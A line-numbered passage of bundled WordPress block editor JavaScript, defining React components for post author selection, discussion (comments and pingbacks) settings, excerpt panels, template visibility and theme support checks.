15500 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.MenuGroup, { children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
15501 external_wp_components_namespaceObject.MenuItem,
15502 {
15503 icon: !isTemplateHidden ? check_default : void 0,
15504 isSelected: !isTemplateHidden,
15505 role: "menuitemcheckbox",
15506 onClick: () => {
15507 const newRenderingMode = isTemplateHidden ? "template-locked" : "post-only";
15508 setRenderingMode(newRenderingMode);
15509 setDefaultRenderingMode(newRenderingMode);
15510 },
15511 children: (0,external_wp_i18n_namespaceObject.__)("Show template")
15512 }
15513 ) })
15514 ] })
15515 }
15516 ) });
15517}
15518
15519
15520;// ./node_modules/@wordpress/editor/build-module/components/post-template/panel.js
15521
15522
15523
15524
15525
15526
15527function PostTemplatePanel() {
15528 const { templateId, isBlockTheme } = (0,external_wp_data_namespaceObject.useSelect)((select) => {
15529 const { getCurrentTemplateId, getEditorSettings } = select(store_store);
15530 return {
15531 templateId: getCurrentTemplateId(),
15532 isBlockTheme: getEditorSettings().__unstableIsBlockBasedTheme
15533 };
15534 }, []);
15535 const isVisible = (0,external_wp_data_namespaceObject.useSelect)((select) => {
15536 const postTypeSlug = select(store_store).getCurrentPostType();
15537 const postType = select(external_wp_coreData_namespaceObject.store).getPostType(postTypeSlug);
15538 if (!postType?.viewable) {
15539 return false;
15540 }
15541 const settings = select(store_store).getEditorSettings();
15542 const hasTemplates = !!settings.availableTemplates && Object.keys(settings.availableTemplates).length > 0;
15543 if (hasTemplates) {
15544 return true;
15545 }
15546 if (!settings.supportsTemplateMode) {
15547 return false;
15548 }
15549 const canCreateTemplates = select(external_wp_coreData_namespaceObject.store).canUser("create", {
15550 kind: "postType",
15551 name: "wp_template"
15552 }) ?? false;
15553 return canCreateTemplates;
15554 }, []);
15555 const canViewTemplates = (0,external_wp_data_namespaceObject.useSelect)(
15556 (select) => {
15557 return isVisible ? select(external_wp_coreData_namespaceObject.store).canUser("read", {
15558 kind: "postType",
15559 name: "wp_template"
15560 }) : false;
15561 },
15562 [isVisible]
15563 );
15564 if ((!isBlockTheme || !canViewTemplates) && isVisible) {
15565 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(classic_theme_default, {});
15566 }
15567 if (isBlockTheme && !!templateId) {
15568 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(BlockThemeControl, { id: templateId });
15569 }
15570 return null;
15571}
15572
15573
15574;// ./node_modules/@wordpress/editor/build-module/components/post-author/constants.js
15575const BASE_QUERY = {
15576 _fields: "id,name",
15577 context: "view"
15578 // Allows non-admins to perform requests.
15579};
15580const AUTHORS_QUERY = {
15581 who: "authors",
15582 per_page: 100,
15583 ...BASE_QUERY
15584};
15585
15586
15587;// ./node_modules/@wordpress/editor/build-module/components/post-author/hook.js
15588
15589
15590
15591
15592
15593
15594
15595function useAuthorsQuery(search) {
15596 const { authorId, authors, postAuthor, isLoading } = (0,external_wp_data_namespaceObject.useSelect)(
15597 (select) => {
15598 const { getUser, getUsers, isResolving } = select(external_wp_coreData_namespaceObject.store);
15599 const { getEditedPostAttribute } = select(store_store);
15600 const _authorId = getEditedPostAttribute("author");
15601 const query = { ...AUTHORS_QUERY };
15602 if (search) {
15603 query.search = search;
15604 query.search_columns = ["name"];
15605 }
15606 return {
15607 authorId: _authorId,
15608 authors: getUsers(query),
15609 postAuthor: getUser(_authorId, BASE_QUERY),
15610 isLoading: isResolving("getUsers", [query])
15611 };
15612 },
15613 [search]
15614 );
15615 const authorOptions = (0,external_wp_element_namespaceObject.useMemo)(() => {
15616 const fetchedAuthors = (authors ?? []).map((author) => {
15617 return {
15618 value: author.id,
15619 label: (0,external_wp_htmlEntities_namespaceObject.decodeEntities)(author.name)
15620 };
15621 });
15622 const foundAuthor = fetchedAuthors.findIndex(
15623 ({ value }) => postAuthor?.id === value
15624 );
15625 let currentAuthor = [];
15626 if (foundAuthor < 0 && postAuthor) {
15627 currentAuthor = [
15628 {
15629 value: postAuthor.id,
15630 label: (0,external_wp_htmlEntities_namespaceObject.decodeEntities)(postAuthor.name)
15631 }
15632 ];
15633 } else if (foundAuthor < 0 && !postAuthor) {
15634 currentAuthor = [
15635 {
15636 value: 0,
15637 label: (0,external_wp_i18n_namespaceObject.__)("(No author)")
15638 }
15639 ];
15640 }
15641 return [...currentAuthor, ...fetchedAuthors];
15642 }, [authors, postAuthor]);
15643 return { authorId, authorOptions, postAuthor, isLoading };
15644}
15645
15646
15647;// ./node_modules/@wordpress/editor/build-module/components/post-author/combobox.js
15648
15649
15650
15651
15652
15653
15654
15655
15656function PostAuthorCombobox() {
15657 const [fieldValue, setFieldValue] = (0,external_wp_element_namespaceObject.useState)();
15658 const { editPost } = (0,external_wp_data_namespaceObject.useDispatch)(store_store);
15659 const { authorId, authorOptions, isLoading } = useAuthorsQuery(fieldValue);
15660 const handleSelect = (postAuthorId) => {
15661 if (!postAuthorId) {
15662 return;
15663 }
15664 editPost({ author: postAuthorId });
15665 };
15666 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
15667 external_wp_components_namespaceObject.ComboboxControl,
15668 {
15669 __nextHasNoMarginBottom: true,
15670 __next40pxDefaultSize: true,
15671 label: (0,external_wp_i18n_namespaceObject.__)("Author"),
15672 options: authorOptions,
15673 value: authorId,
15674 onFilterValueChange: (0,external_wp_compose_namespaceObject.debounce)(setFieldValue, 300),
15675 onChange: handleSelect,
15676 allowReset: false,
15677 hideLabelFromVision: true,
15678 isLoading
15679 }
15680 );
15681}
15682
15683
15684;// ./node_modules/@wordpress/editor/build-module/components/post-author/select.js
15685
15686
15687
15688
15689
15690
15691function PostAuthorSelect() {
15692 const { editPost } = (0,external_wp_data_namespaceObject.useDispatch)(store_store);
15693 const { authorId, authorOptions } = useAuthorsQuery();
15694 const setAuthorId = (value) => {
15695 const author = Number(value);
15696 editPost({ author });
15697 };
15698 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
15699 external_wp_components_namespaceObject.SelectControl,
15700 {
15701 __next40pxDefaultSize: true,
15702 __nextHasNoMarginBottom: true,
15703 className: "post-author-selector",
15704 label: (0,external_wp_i18n_namespaceObject.__)("Author"),
15705 options: authorOptions,
15706 onChange: setAuthorId,
15707 value: authorId,
15708 hideLabelFromVision: true
15709 }
15710 );
15711}
15712
15713
15714;// ./node_modules/@wordpress/editor/build-module/components/post-author/index.js
15715
15716
15717
15718
15719
15720
15721const minimumUsersForCombobox = 25;
15722function PostAuthor() {
15723 const showCombobox = (0,external_wp_data_namespaceObject.useSelect)((select) => {
15724 const authors = select(external_wp_coreData_namespaceObject.store).getUsers(AUTHORS_QUERY);
15725 return authors?.length >= minimumUsersForCombobox;
15726 }, []);
15727 if (showCombobox) {
15728 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(PostAuthorCombobox, {});
15729 }
15730 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(PostAuthorSelect, {});
15731}
15732var post_author_default = PostAuthor;
15733
15734
15735;// ./node_modules/@wordpress/editor/build-module/components/post-author/check.js
15736
15737
15738
15739
15740function PostAuthorCheck({ children }) {
15741 const { hasAssignAuthorAction } = (0,external_wp_data_namespaceObject.useSelect)((select) => {
15742 const post = select(store_store).getCurrentPost();
15743 const canAssignAuthor = post?._links?.["wp:action-assign-author"] ? true : false;
15744 return {
15745 hasAssignAuthorAction: canAssignAuthor
15746 };
15747 }, []);
15748 if (!hasAssignAuthorAction) {
15749 return null;
15750 }
15751 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(post_type_support_check_default, { supportKeys: "author", children });
15752}
15753
15754
15755;// ./node_modules/@wordpress/editor/build-module/components/post-author/panel.js
15756
15757
15758
15759
15760
15761
15762
15763
15764
15765
15766
15767
15768
15769function PostAuthorToggle({ isOpen, onClick }) {
15770 const { postAuthor } = (0,external_wp_data_namespaceObject.useSelect)((select) => {
15771 const id = select(store_store).getEditedPostAttribute("author");
15772 return {
15773 postAuthor: select(external_wp_coreData_namespaceObject.store).getUser(id, BASE_QUERY)
15774 };
15775 }, []);
15776 const authorName = (0,external_wp_htmlEntities_namespaceObject.decodeEntities)(postAuthor?.name) || (0,external_wp_i18n_namespaceObject.__)("(No author)");
15777 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
15778 external_wp_components_namespaceObject.Button,
15779 {
15780 size: "compact",
15781 className: "editor-post-author__panel-toggle",
15782 variant: "tertiary",
15783 "aria-expanded": isOpen,
15784 "aria-label": (
15785 // translators: %s: Author name.
15786 (0,external_wp_i18n_namespaceObject.sprintf)((0,external_wp_i18n_namespaceObject.__)("Change author: %s"), authorName)
15787 ),
15788 onClick,
15789 children: authorName
15790 }
15791 );
15792}
15793function panel_PostAuthor() {
15794 const [popoverAnchor, setPopoverAnchor] = (0,external_wp_element_namespaceObject.useState)(null);
15795 const popoverProps = (0,external_wp_element_namespaceObject.useMemo)(
15796 () => ({
15797 // Anchor the popover to the middle of the entire row so that it doesn't
15798 // move around when the label changes.
15799 anchor: popoverAnchor,
15800 placement: "left-start",
15801 offset: 36,
15802 shift: true
15803 }),
15804 [popoverAnchor]
15805 );
15806 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(PostAuthorCheck, { children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(post_panel_row_default, { label: (0,external_wp_i18n_namespaceObject.__)("Author"), ref: setPopoverAnchor, children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
15807 external_wp_components_namespaceObject.Dropdown,
15808 {
15809 popoverProps,
15810 contentClassName: "editor-post-author__panel-dialog",
15811 focusOnMount: true,
15812 renderToggle: ({ isOpen, onToggle }) => /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
15813 PostAuthorToggle,
15814 {
15815 isOpen,
15816 onClick: onToggle
15817 }
15818 ),
15819 renderContent: ({ onClose }) => /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)("div", { className: "editor-post-author", children: [
15820 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
15821 external_wp_blockEditor_namespaceObject.__experimentalInspectorPopoverHeader,
15822 {
15823 title: (0,external_wp_i18n_namespaceObject.__)("Author"),
15824 onClose
15825 }
15826 ),
15827 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(post_author_default, { onClose })
15828 ] })
15829 }
15830 ) }) });
15831}
15832var panel_default = panel_PostAuthor;
15833
15834
15835;// ./node_modules/@wordpress/editor/build-module/components/post-comments/index.js
15836
15837
15838
15839
15840
15841const COMMENT_OPTIONS = [
15842 {
15843 label: (0,external_wp_i18n_namespaceObject._x)("Open", 'Adjective: e.g. "Comments are open"'),
15844 value: "open",
15845 description: (0,external_wp_i18n_namespaceObject.__)("Visitors can add new comments and replies.")
15846 },
15847 {
15848 label: (0,external_wp_i18n_namespaceObject.__)("Closed"),
15849 value: "closed",
15850 description: [
15851 (0,external_wp_i18n_namespaceObject.__)("Visitors cannot add new comments or replies."),
15852 (0,external_wp_i18n_namespaceObject.__)("Existing comments remain visible.")
15853 ].join(" ")
15854 }
15855];
15856function PostComments() {
15857 const commentStatus = (0,external_wp_data_namespaceObject.useSelect)(
15858 (select) => select(store_store).getEditedPostAttribute("comment_status") ?? "open",
15859 []
15860 );
15861 const { editPost } = (0,external_wp_data_namespaceObject.useDispatch)(store_store);
15862 const handleStatus = (newCommentStatus) => editPost({
15863 comment_status: newCommentStatus
15864 });
15865 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("form", { children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.__experimentalVStack, { spacing: 4, children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
15866 external_wp_components_namespaceObject.RadioControl,
15867 {
15868 className: "editor-change-status__options",
15869 hideLabelFromVision: true,
15870 label: (0,external_wp_i18n_namespaceObject.__)("Comment status"),
15871 options: COMMENT_OPTIONS,
15872 onChange: handleStatus,
15873 selected: commentStatus
15874 }
15875 ) }) });
15876}
15877var post_comments_default = PostComments;
15878
15879
15880;// ./node_modules/@wordpress/editor/build-module/components/post-pingbacks/index.js
15881
15882
15883
15884
15885
15886function PostPingbacks() {
15887 const pingStatus = (0,external_wp_data_namespaceObject.useSelect)(
15888 (select) => select(store_store).getEditedPostAttribute("ping_status") ?? "open",
15889 []
15890 );
15891 const { editPost } = (0,external_wp_data_namespaceObject.useDispatch)(store_store);
15892 const onTogglePingback = () => editPost({
15893 ping_status: pingStatus === "open" ? "closed" : "open"
15894 });
15895 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
15896 external_wp_components_namespaceObject.CheckboxControl,
15897 {
15898 __nextHasNoMarginBottom: true,
15899 label: (0,external_wp_i18n_namespaceObject.__)("Enable pingbacks & trackbacks"),
15900 checked: pingStatus === "open",
15901 onChange: onTogglePingback,
15902 help: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
15903 external_wp_components_namespaceObject.ExternalLink,
15904 {
15905 href: (0,external_wp_i18n_namespaceObject.__)(
15906 "https://wordpress.org/documentation/article/trackbacks-and-pingbacks/"
15907 ),
15908 children: (0,external_wp_i18n_namespaceObject.__)("Learn more about pingbacks & trackbacks")
15909 }
15910 )
15911 }
15912 );
15913}
15914var post_pingbacks_default = PostPingbacks;
15915
15916
15917;// ./node_modules/@wordpress/editor/build-module/components/post-discussion/panel.js
15918
15919
15920
15921
15922
15923
15924
15925
15926
15927
15928
15929
15930const panel_PANEL_NAME = "discussion-panel";
15931function ModalContents({ onClose }) {
15932 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)("div", { className: "editor-post-discussion", children: [
15933 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
15934 external_wp_blockEditor_namespaceObject.__experimentalInspectorPopoverHeader,
15935 {
15936 title: (0,external_wp_i18n_namespaceObject.__)("Discussion"),
15937 onClose
15938 }
15939 ),
15940 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_components_namespaceObject.__experimentalVStack, { spacing: 4, children: [
15941 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(post_type_support_check_default, { supportKeys: "comments", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(post_comments_default, {}) }),
15942 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(post_type_support_check_default, { supportKeys: "trackbacks", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(post_pingbacks_default, {}) })
15943 ] })
15944 ] });
15945}
15946function PostDiscussionToggle({ isOpen, onClick }) {
15947 const {
15948 commentStatus,
15949 pingStatus,
15950 commentsSupported,
15951 trackbacksSupported
15952 } = (0,external_wp_data_namespaceObject.useSelect)((select) => {
15953 const { getEditedPostAttribute } = select(store_store);
15954 const { getPostType } = select(external_wp_coreData_namespaceObject.store);
15955 const postType = getPostType(getEditedPostAttribute("type"));
15956 return {
15957 commentStatus: getEditedPostAttribute("comment_status") ?? "open",
15958 pingStatus: getEditedPostAttribute("ping_status") ?? "open",
15959 commentsSupported: !!postType.supports.comments,
15960 trackbacksSupported: !!postType.supports.trackbacks
15961 };
15962 }, []);
15963 let label;
15964 if (commentStatus === "open") {
15965 if (pingStatus === "open") {
15966 label = (0,external_wp_i18n_namespaceObject._x)("Open", 'Adjective: e.g. "Comments are open"');
15967 } else {
15968 label = trackbacksSupported ? (0,external_wp_i18n_namespaceObject.__)("Comments only") : (0,external_wp_i18n_namespaceObject._x)("Open", 'Adjective: e.g. "Comments are open"');
15969 }
15970 } else if (pingStatus === "open") {
15971 label = commentsSupported ? (0,external_wp_i18n_namespaceObject.__)("Pings only") : (0,external_wp_i18n_namespaceObject.__)("Pings enabled");
15972 } else {
15973 label = (0,external_wp_i18n_namespaceObject.__)("Closed");
15974 }
15975 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
15976 external_wp_components_namespaceObject.Button,
15977 {
15978 size: "compact",
15979 className: "editor-post-discussion__panel-toggle",
15980 variant: "tertiary",
15981 "aria-label": (0,external_wp_i18n_namespaceObject.__)("Change discussion options"),
15982 "aria-expanded": isOpen,
15983 onClick,
15984 children: label
15985 }
15986 );
15987}
15988function PostDiscussionPanel() {
15989 const { isEnabled } = (0,external_wp_data_namespaceObject.useSelect)((select) => {
15990 const { isEditorPanelEnabled } = select(store_store);
15991 return {
15992 isEnabled: isEditorPanelEnabled(panel_PANEL_NAME)
15993 };
15994 }, []);
15995 const [popoverAnchor, setPopoverAnchor] = (0,external_wp_element_namespaceObject.useState)(null);
15996 const popoverProps = (0,external_wp_element_namespaceObject.useMemo)(
15997 () => ({
15998 // Anchor the popover to the middle of the entire row so that it doesn't
15999 // move around when the label changes.
16000 anchor: popoverAnchor,
16001 placement: "left-start",
16002 offset: 36,
16003 shift: true
16004 }),
16005 [popoverAnchor]
16006 );
16007 if (!isEnabled) {
16008 return null;
16009 }
16010 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(post_type_support_check_default, { supportKeys: ["comments", "trackbacks"], children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(post_panel_row_default, { label: (0,external_wp_i18n_namespaceObject.__)("Discussion"), ref: setPopoverAnchor, children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
16011 external_wp_components_namespaceObject.Dropdown,
16012 {
16013 popoverProps,
16014 className: "editor-post-discussion__panel-dropdown",
16015 contentClassName: "editor-post-discussion__panel-dialog",
16016 focusOnMount: true,
16017 renderToggle: ({ isOpen, onToggle }) => /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
16018 PostDiscussionToggle,
16019 {
16020 isOpen,
16021 onClick: onToggle
16022 }
16023 ),
16024 renderContent: ({ onClose }) => /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(ModalContents, { onClose })
16025 }
16026 ) }) });
16027}
16028
16029
16030;// ./node_modules/@wordpress/editor/build-module/components/post-excerpt/index.js
16031
16032
16033
16034
16035
16036
16037
16038function PostExcerpt({
16039 hideLabelFromVision = false,
16040 updateOnBlur = false
16041}) {
16042 const { excerpt, shouldUseDescriptionLabel, usedAttribute } = (0,external_wp_data_namespaceObject.useSelect)(
16043 (select) => {
16044 const { getCurrentPostType, getEditedPostAttribute } = select(store_store);
16045 const postType = getCurrentPostType();
16046 const _usedAttribute = [
16047 "wp_template",
16048 "wp_template_part"
16049 ].includes(postType) ? "description" : "excerpt";
16050 return {
16051 excerpt: getEditedPostAttribute(_usedAttribute),
16052 // There are special cases where we want to label the excerpt as a description.
16053 shouldUseDescriptionLabel: [
16054 "wp_template",
16055 "wp_template_part",
16056 "wp_block"
16057 ].includes(postType),
16058 usedAttribute: _usedAttribute
16059 };
16060 },
16061 []
16062 );
16063 const { editPost } = (0,external_wp_data_namespaceObject.useDispatch)(store_store);
16064 const [localExcerpt, setLocalExcerpt] = (0,external_wp_element_namespaceObject.useState)(
16065 (0,external_wp_htmlEntities_namespaceObject.decodeEntities)(excerpt)
16066 );
16067 const updatePost = (value) => {
16068 editPost({ [usedAttribute]: value });
16069 };
16070 const label = shouldUseDescriptionLabel ? (0,external_wp_i18n_namespaceObject.__)("Write a description (optional)") : (0,external_wp_i18n_namespaceObject.__)("Write an excerpt (optional)");
16071 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("div", { className: "editor-post-excerpt", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
16072 external_wp_components_namespaceObject.TextareaControl,
16073 {
16074 __nextHasNoMarginBottom: true,
16075 label,
16076 hideLabelFromVision,
16077 className: "editor-post-excerpt__textarea",
16078 onChange: updateOnBlur ? setLocalExcerpt : updatePost,
16079 onBlur: updateOnBlur ? () => updatePost(localExcerpt) : void 0,
16080 value: updateOnBlur ? localExcerpt : excerpt,
16081 help: !shouldUseDescriptionLabel ? /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
16082 external_wp_components_namespaceObject.ExternalLink,
16083 {
16084 href: (0,external_wp_i18n_namespaceObject.__)(
16085 "https://wordpress.org/documentation/article/page-post-settings-sidebar/#excerpt"
16086 ),
16087 children: (0,external_wp_i18n_namespaceObject.__)("Learn more about manual excerpts")
16088 }
16089 ) : (0,external_wp_i18n_namespaceObject.__)("Write a description")
16090 }
16091 ) });
16092}
16093
16094
16095;// ./node_modules/@wordpress/editor/build-module/components/post-excerpt/check.js
16096
16097
16098function PostExcerptCheck({ children }) {
16099 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(post_type_support_check_default, { supportKeys: "excerpt", children });
16100}
16101var post_excerpt_check_check_default = PostExcerptCheck;
16102
16103
16104;// ./node_modules/@wordpress/editor/build-module/components/post-excerpt/plugin.js
16105
16106
16107const { Fill: plugin_Fill, Slot: plugin_Slot } = (0,external_wp_components_namespaceObject.createSlotFill)("PluginPostExcerpt");
16108const PluginPostExcerpt = ({ children, className }) => {
16109 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(plugin_Fill, { children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.PanelRow, { className, children }) });
16110};
16111PluginPostExcerpt.Slot = plugin_Slot;
16112var plugin_default = PluginPostExcerpt;
16113
16114
16115;// ./node_modules/@wordpress/editor/build-module/components/post-excerpt/panel.js
16116
16117
16118
16119
16120
16121
16122
16123
16124
16125
16126
16127
16128
16129const post_excerpt_panel_PANEL_NAME = "post-excerpt";
16130function ExcerptPanel() {
16131 const { isOpened, isEnabled, postType } = (0,external_wp_data_namespaceObject.useSelect)((select) => {
16132 const {
16133 isEditorPanelOpened,
16134 isEditorPanelEnabled,
16135 getCurrentPostType
16136 } = select(store_store);
16137 return {
16138 isOpened: isEditorPanelOpened(post_excerpt_panel_PANEL_NAME),
16139 isEnabled: isEditorPanelEnabled(post_excerpt_panel_PANEL_NAME),
16140 postType: getCurrentPostType()
16141 };
16142 }, []);
16143 const { toggleEditorPanelOpened } = (0,external_wp_data_namespaceObject.useDispatch)(store_store);
16144 const toggleExcerptPanel = () => toggleEditorPanelOpened(post_excerpt_panel_PANEL_NAME);
16145 if (!isEnabled) {
16146 return null;
16147 }
16148 const shouldUseDescriptionLabel = [
16149 "wp_template",
16150 "wp_template_part",
16151 "wp_block"
16152 ].includes(postType);
16153 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
16154 external_wp_components_namespaceObject.PanelBody,
16155 {
16156 title: shouldUseDescriptionLabel ? (0,external_wp_i18n_namespaceObject.__)("Description") : (0,external_wp_i18n_namespaceObject.__)("Excerpt"),
16157 opened: isOpened,
16158 onToggle: toggleExcerptPanel,
16159 children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(plugin_default.Slot, { children: (fills) => /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_ReactJSXRuntime_namespaceObject.Fragment, { children: [
16160 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(PostExcerpt, {}),
16161 fills
16162 ] }) })
16163 }
16164 );
16165}
16166function PostExcerptPanel() {
16167 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(post_excerpt_check_check_default, { children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(ExcerptPanel, {}) });
16168}
16169function PrivatePostExcerptPanel() {
16170 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(post_excerpt_check_check_default, { children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(PrivateExcerpt, {}) });
16171}
16172function PrivateExcerpt() {
16173 const { shouldRender, excerpt, shouldBeUsedAsDescription, allowEditing } = (0,external_wp_data_namespaceObject.useSelect)((select) => {
16174 const {
16175 getCurrentPostType,
16176 getCurrentPostId,
16177 getEditedPostAttribute,
16178 isEditorPanelEnabled
16179 } = select(store_store);
16180 const postType = getCurrentPostType();
16181 const isTemplateOrTemplatePart = [
16182 "wp_template",
16183 "wp_template_part"
16184 ].includes(postType);
16185 const isPattern = postType === "wp_block";
16186 const _shouldBeUsedAsDescription = isTemplateOrTemplatePart || isPattern;
16187 const _usedAttribute = isTemplateOrTemplatePart ? "description" : "excerpt";
16188 const _excerpt = getEditedPostAttribute(_usedAttribute);
16189 const template = isTemplateOrTemplatePart && select(external_wp_coreData_namespaceObject.store).getEntityRecord(
16190 "postType",
16191 postType,
16192 getCurrentPostId()
16193 );
16194 const _shouldRender = isEditorPanelEnabled(post_excerpt_panel_PANEL_NAME) || _shouldBeUsedAsDescription;
16195 return {
16196 excerpt: _excerpt,
16197 shouldRender: _shouldRender,
16198 shouldBeUsedAsDescription: _shouldBeUsedAsDescription,
16199 // If we should render, allow editing for all post types that are not used as description.
16200 // For the rest allow editing only for user generated entities.
16201 allowEditing: _shouldRender && (!_shouldBeUsedAsDescription || isPattern || template && template.source === TEMPLATE_ORIGINS.custom && !template.has_theme_file && template.is_custom)
16202 };
16203 }, []);
16204 const [popoverAnchor, setPopoverAnchor] = (0,external_wp_element_namespaceObject.useState)(null);
16205 const label = shouldBeUsedAsDescription ? (0,external_wp_i18n_namespaceObject.__)("Description") : (0,external_wp_i18n_namespaceObject.__)("Excerpt");
16206 const popoverProps = (0,external_wp_element_namespaceObject.useMemo)(
16207 () => ({
16208 // Anchor the popover to the middle of the entire row so that it doesn't
16209 // move around when the label changes.
16210 anchor: popoverAnchor,
16211 "aria-label": label,
16212 headerTitle: label,
16213 placement: "left-start",
16214 offset: 36,
16215 shift: true
16216 }),
16217 [popoverAnchor, label]
16218 );
16219 if (!shouldRender) {
16220 return false;
16221 }
16222 const excerptText = !!excerpt && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.__experimentalText, { align: "left", numberOfLines: 4, truncate: allowEditing, children: (0,external_wp_htmlEntities_namespaceObject.decodeEntities)(excerpt) });
16223 if (!allowEditing) {
16224 return excerptText;
16225 }
16226 const excerptPlaceholder = shouldBeUsedAsDescription ? (0,external_wp_i18n_namespaceObject.__)("Add a description\u2026") : (0,external_wp_i18n_namespaceObject.__)("Add an excerpt\u2026");
16227 const triggerEditLabel = shouldBeUsedAsDescription ? (0,external_wp_i18n_namespaceObject.__)("Edit description") : (0,external_wp_i18n_namespaceObject.__)("Edit excerpt");
16228 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_components_namespaceObject.__experimentalVStack, { children: [
16229 excerptText,
16230 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
16231 external_wp_components_namespaceObject.Dropdown,
16232 {
16233 className: "editor-post-excerpt__dropdown",
16234 contentClassName: "editor-post-excerpt__dropdown__content",
16235 popoverProps,
16236 focusOnMount: true,
16237 ref: setPopoverAnchor,
16238 renderToggle: ({ onToggle }) => /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
16239 external_wp_components_namespaceObject.Button,
16240 {
16241 __next40pxDefaultSize: true,
16242 onClick: onToggle,
16243 variant: "link",
16244 children: excerptText ? triggerEditLabel : excerptPlaceholder
16245 }
16246 ),
16247 renderContent: ({ onClose }) => /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_ReactJSXRuntime_namespaceObject.Fragment, { children: [
16248 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
16249 external_wp_blockEditor_namespaceObject.__experimentalInspectorPopoverHeader,
16250 {
16251 title: label,
16252 onClose
16253 }
16254 ),
16255 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.__experimentalVStack, { spacing: 4, children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(plugin_default.Slot, { children: (fills) => /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_ReactJSXRuntime_namespaceObject.Fragment, { children: [
16256 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
16257 PostExcerpt,
16258 {
16259 hideLabelFromVision: true,
16260 updateOnBlur: true
16261 }
16262 ),
16263 fills
16264 ] }) }) })
16265 ] })
16266 }
16267 )
16268 ] });
16269}
16270
16271
16272;// ./node_modules/@wordpress/editor/build-module/components/theme-support-check/index.js
16273
16274
16275
16276function ThemeSupportCheck({ children, supportKeys }) {
16277 const { postType, themeSupports } = (0,external_wp_data_namespaceObject.useSelect)((select) => {
16278 return {
16279 postType: select(store_store).getEditedPostAttribute("type"),
16280 themeSupports: select(external_wp_coreData_namespaceObject.store).getThemeSupports()
16281 };
16282 }, []);
16283 const isSupported = (Array.isArray(supportKeys) ? supportKeys : [supportKeys]).some((key) => {
16284 const supported = themeSupports?.[key] ?? false;
16285 if ("post-thumbnails" === key && Array.isArray(supported)) {
16286 return supported.includes(postType);
16287 }
16288 return supported;
16289 });
16290 if (!isSupported) {
16291 return null;
16292 }
16293 return children;
16294}
16295
16296
16297;// ./node_modules/@wordpress/editor/build-module/components/post-featured-image/check.js
16298
16299
16300
16301function PostFeaturedImageCheck({ children }) {
